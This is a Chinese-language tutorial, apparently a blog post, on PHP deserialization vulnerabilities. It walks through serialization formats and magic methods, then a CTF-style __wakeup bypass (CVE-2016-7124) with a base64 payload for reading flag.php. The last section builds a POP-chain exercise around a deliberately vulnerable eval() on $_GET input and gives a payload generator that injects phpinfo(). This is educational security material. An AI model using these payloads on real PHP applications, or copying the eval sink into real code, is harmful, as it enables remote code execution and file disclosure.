php反序列化漏洞解析和研究
- PHP序列化是什么
- 铺垫知识
- 示例序列化
- 反序列实例
- 魔术方法
- 比较重要的方法
- 反序列化对象注入
- 绕过__wakeup()方法
- POP链构造
- POP:面向属性编程
- 基本概念
- POP链利用
- 训练
PHP序列化是什么
serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象
序列化:将php值转换为可存储或传输的字符串,目的是防止丢失其结构和数据类型。
反序列化:序列化的逆过程,将字符串再转化成原来的php变量,以便于使用。
简单来说,就是涉及php中的serialize与unserialize两个函数。
通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。
铺垫知识
示例序列化
<?php
class testclass
{
private $flag = "flag{233}";
public $name = "baba";
public $age = "18";
function Info()
{
echo '输出'.$this->name.' '.$this->age;
}
}
$test = new testclass();
$test->name = 'zhaibaba';
$test ->age ='18';
echo "\n";
echo $test->Info();
echo "\n";
echo "\n";
$data = serialize($test);
echo "序列化\n";
echo $data;
echo "\n";
输出
输出zhaibaba 18
序列化
O:9:“testclass”:3:{s:15:" testclass flag";s:9:“flag{233}”;s:4:“name”;s:8:“zhaibaba”;s:3:“age”;s:2:“18”;}
O:9:"testclass"
代表Object(对象) 9个字符:testclass:3
对象属性个数为3{}
中为属性字符数:属性值s:15:" testclass flag"
为 string类型 private私有属性 会加类名 public 共有的 直接属性名
public权限就是正常的变量权限,一般声明的变量权限均为public
protected权限是私有权限,即只能在类内使用,子类可以继承这个变量
private权限也是私有权限,比protected权限更似有一些,只能在本类内使用,子类不能继承
反序列实例
$un = unserialize($data);
# $un = unserialize('O:9:"testclass":2:{s:4:"name";s:8:"zhaibaba";s:3:"age";s:2:"18";}');
echo "反序列化\n";
var_dump($un);
反序列化为一个对象了
魔术方法
魔术方法:在php中以两个下划线字符(__)开头的方法,方法名都是PHP预先定义好的,之所以称为魔术方法
就是这些方法不需要显示的调用而是由某种特定的条件触发执行。
在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用。
常见方法
__constuct: 构建对象的时被调用
__destruct: 明确销毁对象或脚本结束时被调用
__wakeup: 当使用unserialize时被调用,可用于做些对象的初始化操作
__sleep: 当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__call: 调用不可访问或不存在的方法时被调用
__callStatic: 调用不可访问或不存在的静态方法时被调用
__set: 当给不可访问或不存在属性赋值时被调用
__get: 读取不可访问或不存在属性时被调用
__isset: 对不可访问或不存在的属性调用isset()或empty()时被调用
__unset: 对不可访问或不存在的属性进行unset时被调用
__invoke: 当以函数方式调用对象时被调用
__toString: 当一个类被转换成字符串时被调用
__clone: 进行对象clone时被调用,用来调整对象的克隆行为
__debuginfo: 当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
__set_state: 当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值
比较重要的方法
__sleep()
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。
对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。
__wakeup()
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup
方法,预先准备对象需要的资源。
预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。
<?php
class Caiji{
public function __construct($ID, $sex, $age){
$this->ID = $ID;
$this->sex = $sex;
$this->age = $age;
$this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
}
public function getInfo(){
echo $this->info . '<br>';
}
/**
* serialize前调用 用于删选需要被序列化存储的成员变量
* @return array [description]
*/
public function __sleep(){
echo __METHOD__ . '<br>';
return ['ID', 'sex', 'age'];
}
/**
* unserialize前调用 用于预先准备对象资源
*/
public function __wakeup(){
echo __METHOD__ . '<br>';
$this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
}
}
$me = new Caiji('twosmi1e', 20, 'male');
$me->getInfo();
//存在__sleep(函数,$info属性不会被存储
$temp = serialize($me);
echo $temp . '<br>';
$me = unserialize($temp);
//__wakeup()组装的$info
$me->getInfo();
?>
结果
__toString()
__toString() 方法用于一个类被当成字符串时应怎样回应。
例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,
否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
简单的说就是 把对象用字符串表示,就自动调用这个
<?php
class Caiji{
public function __construct($ID, $sex, $age){
$this->ID = $ID;
$this->sex = $sex;
$this->age = $age;
$this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
}
public function __toString(){
return $this->info;
}
}
$me = new Caiji('zhaibaba', 20, 'male');
echo '__toString:'. '<br>';
echo $me.'<br>';
结果
反序列化对象注入
绕过__wakeup()方法
<?php
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='index.php';
}
public function __toString(){
return '' ;
}
?> #<!--key in flag.php-->
分析一下源码,__destruct方法中show_source(dirname (__FILE__).'/'.$this ->file);
会读取file文件内容,我们需要利用这里来读flag.php,思路大概就是构造序列化对象然后base64编码传入,经过unserialize将file设为flag.php,但是__wakeup会在unserialize之前执行,所以要绕过这一点。
这里就要用到CVE-2016-7124漏洞,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
构造序列化对象:O:5:“SoFun”:1:{S:7:"\00*\00file";s:8:“flag.php”;}
绕过__wakeup:O:5:“SoFun”:2:{S:7:"\00*\00file";s:8:“flag.php”;}
注意:因为file是protect属性,所以需要加上\00*\00。再base64编码。
payload:Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
POP链构造
POP:面向属性编程
面向属性编程(Property-Oriented Programing) 用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链来执行一些操作。
基本概念
在二进制利用时,ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集,而 POP 链的构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。
二进制中通常是由于内存溢出控制了指令执行流程,而反序列化过程就是控制代码执行流程的方法之一,前提:进行反序列化的数据能够被用户输入所控制。
POP链利用
一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。
训练
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public $zhaibaba;
public function get_flag()
{
eval($this->zhaibaba);
}
}
$a = $_GET['string'];
unserialize($a);
?>
可以看到需要执行GetFlag类中的get_flag()函数,这是一个类的普通方法。要让这个方法执行,需要构造一个POP链。
- string1中的__tostring存在$this->str1->get_flag(),分析一下要自动调用__tostring()需要把类string1当成字符串来使用,因为调用的是参数str1的方法,所以需要把str1赋值为类GetFlag的对象。
- 发现类func中存在__invoke方法执行了字符串拼接,需要把func当成函数使用自动调用__invoke然后把
mod2拼接。
- 在funct中找到了函数调用,需要把mod1赋值为func类的对象,又因为函数调用在__call方法中,且参数为$test2,即无法调用test2方法时自动调用 __call方法;
- 在Call中的test1方法中存在
mod1赋值为funct的对象,让__call自动调用。
- 查找test1方法的调用点,在start_gg中发现
mod1赋值为start_gg类的对象,等待__destruct()自动调用。
payload:
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new Call();//把$mod1赋值为Call类对象
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new funct();//把 $mod1赋值为funct类对象
}
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new func();//把 $mod1赋值为func类对象
}
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new string1();//把 $mod1赋值为string1类对象
}
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $zhaibaba;
public function __construct()
{
$this->str1= new GetFlag();//把 $str1赋值为GetFlag类对
$this->str1->zhaibaba = 'phpinfo();';
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public $zhaibaba;
public function get_flag()
{
1;
}
}
$payload = new start_gg();
echo urlencode(serialize($payload));
#
总结一下PHP反序列化的挖掘思路,首先进行反序列化的数据点是用户可控的,然后反序列化类中需要有魔术方法,魔术方法中存在敏感操作,或者魔术方法中无敏感操作,但是其对象调用了其他类中的同名函数,可以通过构造POP链利用。